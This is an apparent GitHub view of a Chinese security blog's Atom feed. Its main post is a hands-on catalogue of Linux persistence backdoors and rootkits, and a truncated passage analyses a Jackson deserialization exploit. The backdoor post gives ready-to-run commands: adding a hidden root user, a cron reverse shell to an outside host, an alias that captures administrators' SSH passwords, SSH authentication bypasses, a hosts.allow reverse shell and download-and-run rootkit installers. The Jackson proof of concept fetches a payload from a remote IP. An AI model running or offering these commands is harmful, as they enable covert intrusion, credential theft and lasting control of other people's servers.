-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathatom.xml
460 lines (254 loc) · 397 KB
/
atom.xml
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
<title>Homaebic-Know thyself</title>
<link href="/atom.xml" rel="self"/>
<link href="http://hebic.me/"/>
<updated>2018-11-03T07:50:10.343Z</updated>
<id>http://hebic.me/</id>
<generator uri="http://hexo.io/">Hexo</generator>
<entry>
<title>纵深防御体系概览</title>
<link href="http://hebic.me/2018/11/03/%E7%BA%B5%E6%B7%B1%E9%98%B2%E5%BE%A1%E4%BD%93%E7%B3%BB%E6%A6%82%E8%A7%88/"/>
<id>http://hebic.me/2018/11/03/纵深防御体系概览/</id>
<published>2018-11-03T07:49:44.000Z</published>
<updated>2018-11-03T07:50:10.343Z</updated>
<content type="html"><![CDATA[<ul><li>第一层:安全域:业务视角划分安全等级</li><li>第二层:基于第二层的隔离:VPC/VxLan/Vlan</li><li>第三层:端口协议过滤:L3 ACL/L4 Netfilter</li><li>第四层:应用安全:WAF</li><li>第五层:容器安全:Jvm/Zend hook API/Nginx、tomcat加固</li><li>第六层:系统层防御和提权:DEP&ASLR、StackCanay、SELinux</li><li>第七层:防止内核空间乱入:禁用LKM,限制/dev/mem</li><li>第八层:Hypervisor保护:防止逃逸</li></ul>]]></content>
<summary type="html">
<ul>
<li>第一层:安全域:业务视角划分安全等级</li>
<li>第二层:基于第二层的隔离:VPC/VxLan/Vlan</li>
<li>第三层:端口协议过滤:L3 ACL/L4 Netfilter</li>
<li>第四层:应用安全:WAF</li>
<li>第五层:
</summary>
</entry>
<entry>
<title>Linux rootkit 初探</title>
<link href="http://hebic.me/2018/11/02/Linux-rootkit-%E5%88%9D%E6%8E%A2/"/>
<id>http://hebic.me/2018/11/02/Linux-rootkit-初探/</id>
<published>2018-11-02T12:29:19.000Z</published>
<updated>2018-11-03T07:51:55.964Z</updated>
<content type="html"><![CDATA[<h1 id="前言:"><a href="#前言:" class="headerlink" title="前言:"></a>前言:</h1><p>本文是在一篇安全课的文章的基础上研究探索的,留后门并让主机管理员在发现后也无法将你清除是一件非常愉快的事情。rootkit技术已经不算是一个新的技术了,作为一个web狗说一说计划任务弹shell的还好,当讨论起来如何hook系统调用来写ring0的rootkit就捉襟见肘了。这篇文章算是rootkit的初探,也是让自己未来在rootkit方面多多了解一些。</p><h1 id="一款优秀的后门具有:"><a href="#一款优秀的后门具有:" class="headerlink" title="一款优秀的后门具有:"></a>一款优秀的后门具有:</h1><ul><li>文件隐藏:通过ls等命令无法发现:可以hook sys_getdents64或者readdir</li><li>进程隐藏:通过ps等命令无法发现:读取进程是读取/proc进程目录,可以hook sys_getdents64或者readdir</li><li>连接隐藏:netstat无法发现:<code>netstat是读取/proc文件系统下的net/tcp和net/udp文件获得当前连接信息,因此可以通过hook sys_read调用实现隐藏连接,也可以修改tcp4_seq_show和udp4_seq_show等函数实现。</code></li><li>隐藏日志:无history</li><li>网路嗅探:<code>通过libpcap库直接访问链路层,截获数据包</code></li><li>密码嗅探:可以通过hook sys_read制作login后门。</li></ul><h1 id="用户级别后门"><a href="#用户级别后门" class="headerlink" title="用户级别后门"></a>用户级别后门</h1><p>用户级别后门值得是留后门的过程不会涉及到对系统调用的劫持修改,后门在用户态修改,不涉及内核态。用户级别后门容易留,容易被发现。</p><h2 id="增加超级用户(需要root)"><a href="#增加超级用户(需要root)" class="headerlink" title="增加超级用户(需要root)"></a>增加超级用户(需要root)</h2><p><code>echo "backdooruser:x:999:0::/:/bin/sh" >> /etc/passwd</code></p><p><code>echo "backdooruser:$6$IRZ4H1HG$x7375skwAG49qJ0fr0FlmKSURIR0fPcP.isV1NjUyW0uAo9gtXybc3wT/t0fczip8lVqifNLHC7B349sKt0S1.:17791:0:99999:7:::" >> /etc/shadow</code></p><p>密码:1234qwer@QWER</p><h2 id="tsh后门"><a href="#tsh后门" class="headerlink" title="tsh后门"></a>tsh后门</h2><p>Orange大神写的后门,在新老内核的兼容性非常好,支持正向或者反向链接。</p><p><code>git clone https://github.com/orangetw/tsh.git</code></p><h3 id="服务端:"><a href="#服务端:" class="headerlink" title="服务端:"></a>服务端:</h3><p>修改tsh.h中的端口,密码,伪装进程名<br>删除两行<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">#define CONNECT_BACK_HOST "120.25.80.195"</span><br><span class="line">#define CONNECT_BACK_DELAY 60</span><br></pre></td></tr></table></figure></p><p>运行<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">make</span><br><span class="line">umask 077; HOME=/var/tmp ./tshd</span><br></pre></td></tr></table></figure></p><h3 id="客户端:"><a href="#客户端:" class="headerlink" title="客户端:"></a>客户端:</h3><p>修改tsh.h中的端口和密码和ip<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">make</span><br><span class="line">./tsh ip "命令"</span><br></pre></td></tr></table></figure></p><p>备注:在mac上需要修改<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">-#include <pty.h></span><br><span class="line">+#include <util.h></span><br></pre></td></tr></table></figure></p><p>否则编译不成功</p><p>备注:如果使用反向连接,使用<code>./tsh cb</code>监听</p><h2 id="计划任务后门"><a href="#计划任务后门" class="headerlink" title="计划任务后门"></a>计划任务后门</h2><p>每分钟给t-t.win的53端口弹一次shell<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">crontab -l > crontab.bak;echo "* * * * * /bin/sh -i >& /dev/tcp/t-t.win/53 0>&1" >> crontab.bak;crontab crontab.bak;rm crontab.bak;</span><br></pre></td></tr></table></figure></p><p>在ubuntu中需要执行<code>ln -s -f bash /bin/sh</code>才可以成功。因为crontab中的shell环境是sh,在ubuntu中sh是dash的软连接,需要修改成bash的软连接才可以反弹shell。</p><h2 id="SSH公钥登录"><a href="#SSH公钥登录" class="headerlink" title="SSH公钥登录"></a>SSH公钥登录</h2><p>通过命令<code>ssh-keygen -t rsa</code>生成公钥,将生成的id_rsa.pub文件写入服务器的authorized_keys中。<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">chmod 600 ~/.ssh/authorized_keys</span><br><span class="line">chmod 700 ~/.ssh</span><br></pre></td></tr></table></figure></p><h2 id="alias后门"><a href="#alias后门" class="headerlink" title="alias后门"></a>alias后门</h2><p>在当前用户目录的<code>.bashrc</code>中写<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">alias ssh='strace -o /tmp/sshpwd-`date '+%d%h%m%s'`.log -e read,write,connect -s2048 ssh'</span><br></pre></td></tr></table></figure></p><p>strace命令可以跟踪进程运行时,系统调用和接受的信号。<br>这条命令在管理员使用ssh时生效,后门将终端的输入输出(包括输入的ssh地址账号密码)和连接信息保存到<code>/tmp/sshpwd-日期.log中</code>,在一些小型的网站中,可以将写入的地址设置为web目录一些深层,管理员不易发现的地方。日后通过浏览器访问,就可以得到管理员在这台机器上远程登录其他服务器ssh的地址账号密码等等了。<br>这只是一种方法,可以在管理员必备的命令中加入一些后门,比如<code>ls</code>这样的命令。</p><h2 id="SSH软连接后门(需要root)"><a href="#SSH软连接后门(需要root)" class="headerlink" title="SSH软连接后门(需要root)"></a>SSH软连接后门(需要root)</h2><p>执行<code>ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oPort=31337</code><br>其他机器使用ssh 任意存在用户@IP -p 31337使用任意密码可登陆。<br>原理是PAM根据软连接文件名称在<code>/etc/pam.d/</code>中寻找对应的文件名,使用其中的配置文件登陆。因此,这种方法需要SSH开启PAM登陆,默认开启。</p><p>参考:<br><a href="http://blackwolfsec.cc/2017/03/24/Linux_ssh_backdoor/" target="_blank" rel="noopener">http://blackwolfsec.cc/2017/03/24/Linux_ssh_backdoor/</a></p><h2 id="SSH后门(需要root)"><a href="#SSH后门(需要root)" class="headerlink" title="SSH后门(需要root)"></a>SSH后门(需要root)</h2><p>编译特定版本的新的SSH达到双密码登录的效果,需要替换服务端的SSH,动静比较大。Ubuntu16.04测试失败,Ubuntu14.04测试成功。</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">wget https://link.jianshu.com/?t=http://ifuryst.com/usr/uploads/data/openssh-5.9p1.tar.gz</span><br><span class="line">wget https://link.jianshu.com/?t=http://ifuryst.com/usr/uploads/data/openssh-5.9p1.patch.tar.gz</span><br><span class="line">tar zxvf openssh-5.9p1.tar.gz</span><br><span class="line">tar zxvf openssh-5.9p1.patch.tar.gz</span><br><span class="line">cp openssh-5.9p1.patch/sshbd5.9p1.diff openssh-5.9p1/</span><br><span class="line">cd openssh-5.9p1</span><br><span class="line">patch < sshbd5.9p1.diff</span><br></pre></td></tr></table></figure><p>修改想要登录的密码<br><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">root@localhost openssh-5.9p1# vim includes.h</span><br><span class="line">int secret_ok;</span><br><span class="line">FILE *f;</span><br><span class="line"><span class="meta">#</span>define ILOG "/tmp/ilog" # 记录登录到本机的用户名和密码</span><br><span class="line"><span class="meta">#</span>define OLOG "/tmp/olog" # 记录本机登录到远程的用户名和密码</span><br><span class="line"><span class="meta">#</span>define SECRETPW "warden" # 远程连接密码</span><br><span class="line"><span class="meta">#</span>endif /* INCLUDES_H */</span><br></pre></td></tr></table></figure></p><p>修改想要ssh版本(通过ssh -V查看当前ssh版本)<br><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">root@localhost openssh-5.9p1# vim version.h</span><br><span class="line">/* $OpenBSD: version.h,v 1.62 2011/08/02 23:13:01 djm Exp $ */</span><br><span class="line"><span class="meta">#</span>define SSH_VERSION "OpenSSH_5.3p1"</span><br><span class="line"><span class="meta">#</span>define SSH_PORTABLE "p1"</span><br><span class="line"><span class="meta">#</span>define SSH_RELEASE SSH_VERSION SSH_PORTABLE</span><br></pre></td></tr></table></figure></p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">apt-get install -y openssl libssl-dev libpam0g-dev</span><br><span class="line">./configure --prefix=/usr --sysconfdir=/etc/ssh --with-pam</span><br><span class="line">make clean</span><br><span class="line">make && make install</span><br><span class="line">/etc/init.d/ssh restart</span><br></pre></td></tr></table></figure><p>就可以使用自己设置的密码登录了。</p><p>参考:<br><a href="https://www.jianshu.com/p/c1cd73b072f1" target="_blank" rel="noopener">https://www.jianshu.com/p/c1cd73b072f1</a></p><h2 id="SSH-wrapper-后门(需要root)"><a href="#SSH-wrapper-后门(需要root)" class="headerlink" title="SSH wrapper 后门(需要root)"></a>SSH wrapper 后门(需要root)</h2><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">cd /usr/sbin/</span><br><span class="line">mv sshd ../bin/</span><br><span class="line">echo '#!/usr/bin/perl' >sshd</span><br><span class="line">echo 'exec "/bin/sh" if(getpeername(STDIN) =~ /^..4A/);' >>sshd</span><br><span class="line">echo 'exec{"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,' >>sshd</span><br><span class="line">chmod u+x sshd</span><br><span class="line">/etc/init.d/sshd restart</span><br></pre></td></tr></table></figure><p>连接方式:<code>socat STDIO TCP4:target_ip:22,sourceport=13377</code><br>Ubuntu14.04测试成功,16.04测试失败</p><h2 id="修改inetd配置文件后门(需要安装inetd,默认没有安装)"><a href="#修改inetd配置文件后门(需要安装inetd,默认没有安装)" class="headerlink" title="修改inetd配置文件后门(需要安装inetd,默认没有安装)"></a>修改inetd配置文件后门(需要安装inetd,默认没有安装)</h2><p>在<code>/etc/inetd.conf</code>文件中添加一行<code>daytime stream tcp nowait root /bin/bash bash -i</code><br>用nc随意连接一个端口即可成功。如果没有安装需要手动安装,需要root权限。Ubuntu 14.04测试失败。<br>参考:<a href="https://blog.csdn.net/d_0xff/article/details/51521075" target="_blank" rel="noopener">https://blog.csdn.net/d_0xff/article/details/51521075</a></p><h2 id="ICMP通讯后门"><a href="#ICMP通讯后门" class="headerlink" title="ICMP通讯后门"></a>ICMP通讯后门</h2><p>记得修改prism.c文件中的密码和反弹地址<br><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">git clone https://github.com/andreafabrizi/prism.git</span><br><span class="line">gcc <..OPTIONS..> -Wall -s -o prism prism.c</span><br></pre></td></tr></table></figure></p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">选项如下:</span><br><span class="line">-DDETACH #后台运行</span><br><span class="line">-DSTATIC #开启STATIC模式 (默认ICMP模式)</span><br><span class="line">-DNORENAME #不使用自定义的进程名</span><br><span class="line">-DIPTABLES #清空所有的iptables规则</span><br></pre></td></tr></table></figure><p>攻击机(172.16.100.182):<code>nc -vv -l -p 6666</code><br>肉鸡(172.16.100.134):<code>./prism</code><br>攻击机(172.16.100.182):<code>./sendPacket.py 172.16.100.134 p4ssw0rd 172.16.100.182 6666</code></p><p>参考:<a href="http://vinc.top/2016/09/28/linux%E4%B8%8Bicmp%E5%90%8E%E9%97%A8prism/" target="_blank" rel="noopener">http://vinc.top/2016/09/28/linux%E4%B8%8Bicmp%E5%90%8E%E9%97%A8prism/</a></p><p>除了使用ICMP,还可以使用DNS等其他的协议作为通讯后门。</p><h2 id="Git-hook-backdoor"><a href="#Git-hook-backdoor" class="headerlink" title="Git-hook backdoor"></a>Git-hook backdoor</h2><p>在安装git和xterm的机器上可以使用此种方法。<br>参考:<a href="https://github.com/ulissescastro/linux-native-backdoors/tree/master/git-hooks" target="_blank" rel="noopener">https://github.com/ulissescastro/linux-native-backdoors/tree/master/git-hooks</a></p><h2 id="PROMPT-COMMAND后门"><a href="#PROMPT-COMMAND后门" class="headerlink" title="PROMPT_COMMAND后门"></a>PROMPT_COMMAND后门</h2><p>PROMPT_COMMAND是bash的一个环境变量,他会在用户执行命令前执行。<br>将反弹shell的命令放入PROMPT_COMMAND中,管理员只要使用bash就会反弹shell。</p><h2 id="TCP-Wrappers(需要root)"><a href="#TCP-Wrappers(需要root)" class="headerlink" title="TCP Wrappers(需要root)"></a>TCP Wrappers(需要root)</h2><p>向/etc/hosts.allow中写入<code>ALL: ALL: spawn (bash -c "/bin/bash -i >& /dev/tcp/<Attack IP>/443 0>&1") & :allow</code><br>攻击者执行<code>nc -lvvp 443</code>监听443端口,接下来通过执行<code>ssh qweqwe@VictimIP</code>触发</p><h2 id="“-rhosts”文件后门(测试失败)"><a href="#“-rhosts”文件后门(测试失败)" class="headerlink" title="“.rhosts”文件后门(测试失败)"></a>“.rhosts”文件后门(测试失败)</h2><p>向~/.rhosts中写入”+ +”,就可以让任何用户无密码登录</p><p>Linux的内核态与用户态分析:<a href="https://www.cnblogs.com/bakari/p/5520860.html" target="_blank" rel="noopener">https://www.cnblogs.com/bakari/p/5520860.html</a><br>基于内存分析的rootkit检测技术:<a href="http://www.vuln.cn/6324" target="_blank" rel="noopener">http://www.vuln.cn/6324</a><br>Linux rootkit总结:<a href="http://www.cnblogs.com/LittleHann/p/3879961.html?utm_source=tuicool&utm_medium=referral" target="_blank" rel="noopener">http://www.cnblogs.com/LittleHann/p/3879961.html?utm_source=tuicool&utm_medium=referral</a></p><h1 id="内核级别后门"><a href="#内核级别后门" class="headerlink" title="内核级别后门"></a>内核级别后门</h1><p>内核级别后门包括不限于对系统调用的Hook,函数API的hook,以及直接操作内核函数。几乎全部后门都需要root权限,对后门编写者linux内核知识和C的要求比较高。</p><h2 id="基础知识"><a href="#基础知识" class="headerlink" title="基础知识"></a>基础知识</h2><h3 id="系统调用"><a href="#系统调用" class="headerlink" title="系统调用"></a>系统调用</h3><h3 id="系统调用的hook"><a href="#系统调用的hook" class="headerlink" title="系统调用的hook"></a>系统调用的hook</h3><p>ring 3<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">0x1: LD_PRELOAD动态连接.so函数劫持</span><br><span class="line">0x2: 使用snoopy进行execve/execv、connect、init_module hook </span><br><span class="line">0x3: 绕过基于Linux消息队列(Message Queue)通信的Hook模块</span><br><span class="line">0x4: 基于PD_PRELOAD、LD_LIBRARY_PATH环境变量劫持绕过Hook模块</span><br><span class="line">0x5: 基于ptrace()调试技术进行API Hook</span><br><span class="line">0x6: 绕过C库LD_PRELOAD机制的技术方案</span><br><span class="line">0x7: 基于PLT劫持、PLT重定向技术实现Hook</span><br></pre></td></tr></table></figure></p><p>ring 0<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">0x1: Kernel Inline Hook </span><br><span class="line">0x2: 利用0x80中断劫持system_call->sys_call_table进行系统调用Hook</span><br><span class="line">0x3: 获取sys_call_table的常用方法</span><br><span class="line">0x4: 利用Linux内核机制kprobe机制(kprobes, jprobe和kretprobe)进行系统调用Hook</span><br><span class="line">0x5: LSM(linux security module) Security钩子技术(linux原生机制)</span><br><span class="line">0x6: LSM Function Replace Hook劫持技术</span><br><span class="line">0x7: int 80中断劫持技术</span><br><span class="line">0x8: 利用从PAGE_OFFSET起始位置搜索特征码劫持system_call_sys_call_table进行系统调用hook</span><br><span class="line">0x9: Linux LSM(Linux Security Modules) Hook技术</span><br></pre></td></tr></table></figure></p><h3 id="程序的连接和装载"><a href="#程序的连接和装载" class="headerlink" title="程序的连接和装载"></a>程序的连接和装载</h3><h2 id="Hook-LD-PRELOAD后门"><a href="#Hook-LD-PRELOAD后门" class="headerlink" title="Hook LD_PRELOAD后门"></a>Hook LD_PRELOAD后门</h2><p>Ring 0中Hook LD_PRELOAD的后门。在LD_PRELOAD中可以定义Linux运行程序前“动态加载”的动态链接库,只要在LD_PRELOAD中加载的.so中编写同名函数,后面引入的符号会被省略。<br><br><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">wget https://gist.githubusercontent.com/mempodippy/d93fd99164bace9e63752afb791a896b/raw/6b06d235beac8590f56c47b7f46e2e4fac9cf584/quick_install.sh -O /tmp/quick_install.sh && chmod +x /tmp/quick_install.sh && /tmp/quick_install.sh</span><br></pre></td></tr></table></figure></p><p><a href="https://github.com/mempodippy/vlany" target="_blank" rel="noopener">https://github.com/mempodippy/vlany</a></p><p>参考:<a href="http://www.freebuf.com/column/162604.html" target="_blank" rel="noopener">http://www.freebuf.com/column/162604.html</a></p><h2 id="Knark"><a href="#Knark" class="headerlink" title="Knark"></a>Knark</h2><p>LKM层rootkit<br><a href="https://packetstormsecurity.com/fils/24853/knark-2.4.3.tgz.html" target="_blank" rel="noopener">https://packetstormsecurity.com/fils/24853/knark-2.4.3.tgz.html</a></p><h2 id="adore-ng"><a href="#adore-ng" class="headerlink" title="adore-ng"></a>adore-ng</h2><p><a href="https://github.com/trimpsyw/adore-ng" target="_blank" rel="noopener">https://github.com/trimpsyw/adore-ng</a><br>内核版本:2.6 and 3.x,虽然有些老,但已经可以在ubuntu13.04(X86)上使用了。<br>成功内核版本:2.6.32-358.el6.x86_64</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">yum install kernel-devel</span><br><span class="line">wget https://github.com/trimpsyw/adore-ng/archive/master.zip</span><br><span class="line">unzip master.zip</span><br><span class="line">cd adore-ng-master</span><br><span class="line">make</span><br><span class="line">./ava I</span><br></pre></td></tr></table></figure><p>作为一个内核级别的后门,通过<code>./ava help</code>看到它支持的功能:<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">Usage: ./ava {h,u,r,R,i,v,U} [file or PID]</span><br><span class="line"></span><br><span class="line"> I print info (secret UID etc)</span><br><span class="line"> h hide file</span><br><span class="line"> u unhide file</span><br><span class="line"> r execute as root</span><br><span class="line"> R remove PID forever</span><br><span class="line"> U uninstall adore</span><br><span class="line"> i make PID invisible</span><br><span class="line"> v make PID visible</span><br></pre></td></tr></table></figure></p><p>功能比较简单,分别是:隐藏文件,显示文件,提权,移除PID,移除adore,隐藏PID,显示PID。<br>用法比较简单,如果你想隐藏/etc/passwd的话就用<code>./ava h /etc/passwd</code>,想提权就用<code>./ava r /bin/bash</code></p><h2 id="Kbeast"><a href="#Kbeast" class="headerlink" title="Kbeast"></a>Kbeast</h2><p>开发者在2012年编写的kernel ootkit,内核版本支持:2.6.18 and 2.6.32。查看内核版本的命令<code>cat /proc/version</code>,现在已经4.15了。适用范围已经很窄了。</p><p>参考:<a href="http://vinc.top/2016/06/07/%E5%86%85%E6%A0%B8%E7%BA%A7rootkit-kbeast%E7%9A%84%E5%AE%89%E8%A3%85%E4%B8%8E%E4%BD%BF%E7%94%A8/" target="_blank" rel="noopener">http://vinc.top/2016/06/07/%E5%86%85%E6%A0%B8%E7%BA%A7rootkit-kbeast%E7%9A%84%E5%AE%89%E8%A3%85%E4%B8%8E%E4%BD%BF%E7%94%A8/</a></p><h2 id="enyelkm"><a href="#enyelkm" class="headerlink" title="enyelkm"></a>enyelkm</h2><p><a href="https://github.com/David-Reguera-Garcia-Dreg/enyelkm" target="_blank" rel="noopener">https://github.com/David-Reguera-Garcia-Dreg/enyelkm</a><br>支持内核版本:2.6</p><h1 id="硬件级别后门"><a href="#硬件级别后门" class="headerlink" title="硬件级别后门"></a>硬件级别后门</h1><h2 id="bios后门"><a href="#bios后门" class="headerlink" title="bios后门"></a>bios后门</h2><h1 id="其他类型"><a href="#其他类型" class="headerlink" title="其他类型"></a>其他类型</h1>]]></content>
<summary type="html">
<h1 id="前言:"><a href="#前言:" class="headerlink" title="前言:"></a>前言:</h1><p>本文是在一篇安全课的文章的基础上研究探索的,留后门并让主机管理员在发现后也无法将你清除是一件非常愉快的事情。rootkit技术已经不
</summary>
</entry>
<entry>
<title>CVE-17485-jackson-rce主线流程分析</title>
<link href="http://hebic.me/2018/09/23/CVE-17485-jackson-rce%E4%B8%BB%E7%BA%BF%E6%B5%81%E7%A8%8B%E5%88%86%E6%9E%90/"/>
<id>http://hebic.me/2018/09/23/CVE-17485-jackson-rce主线流程分析/</id>
<published>2018-09-23T05:18:15.000Z</published>
<updated>2018-09-23T05:18:28.000Z</updated>
<content type="html"><![CDATA[<p>POC:</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> java.io.IOException;</span><br><span class="line"><span class="keyword">import</span> com.fasterxml.jackson.databind.*;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> java.lang.ProcessBuilder;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> org.springframework.context.support.ClassPathXmlApplicationContext;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="class"><span class="keyword">class</span> <span class="title">Exploit</span> </span>{</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title">main</span><span class="params">(String args[])</span> <span class="keyword">throws</span> Exception</span></span><br><span class="line"><span class="function"> </span>{</span><br><span class="line"><span class="comment">// ProcessBuilder process = new ProcessBuilder("open", "/Applications/Calculator.app/");</span></span><br><span class="line"><span class="comment">// process.start();</span></span><br><span class="line"> testSpringFramework();</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title">testSpringFramework</span><span class="params">()</span></span>{</span><br><span class="line"> String payload = <span class="string">"[\"org.springframework.context.support.ClassPathXmlApplicationContext\", "</span> +</span><br><span class="line"> <span class="string">"\"http://120.25.80.195:7231/spel.xml\"]\n"</span>;</span><br><span class="line"> System.out.println(payload);</span><br><span class="line"> ObjectMapper mapper = <span class="keyword">new</span> ObjectMapper();</span><br><span class="line"> mapper.enableDefaultTyping();</span><br><span class="line"> <span class="keyword">try</span> {</span><br><span class="line"> mapper.readValue(payload, Object.class);</span><br><span class="line"> } <span class="keyword">catch</span> (IOException e) {</span><br><span class="line"> e.printStackTrace();</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>然后进入java反射相关的函数,里面就不太懂,就追到这里了。</p><ul><li>call1:129, AnnotatedConstructor (com.fasterxml.jackson.databind.introspect)</li></ul><p>进入<code>return this._constructor.newInstance(arg);</code></p><ul><li>createFromString:318, StdValueInstantiator (com.fasterxml.jackson.databind.deser.std)</li></ul><p>再次经过蛇皮判断后进入<code>return this._fromStringCreator.call1(value);</code></p><p>在这里可以看到value已经是个String,值是<code>http://120.25.80.195:7231/spel.xml</code></p><p>this._formStringCreator是<code>[constructor for org.springframework.context.support.ClassPathXmlApplicationContext, annotations: [null]]</code></p><ul><li>deserializeFromString:1283, BeanDeserializerBase (com.fasterxml.jackson.databind.deser)</li></ul><p>经过一些蛇皮判断后传入<code>return this._valueInstantiator.createFromString(ctxt, p.getText());</code></p><ul><li>_deserializeOther:159, BeanDeserializer (com.fasterxml.jackson.databind.deser)</li></ul><p>根据</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">case</span> VALUE_STRING:</span><br><span class="line"> <span class="keyword">return</span> <span 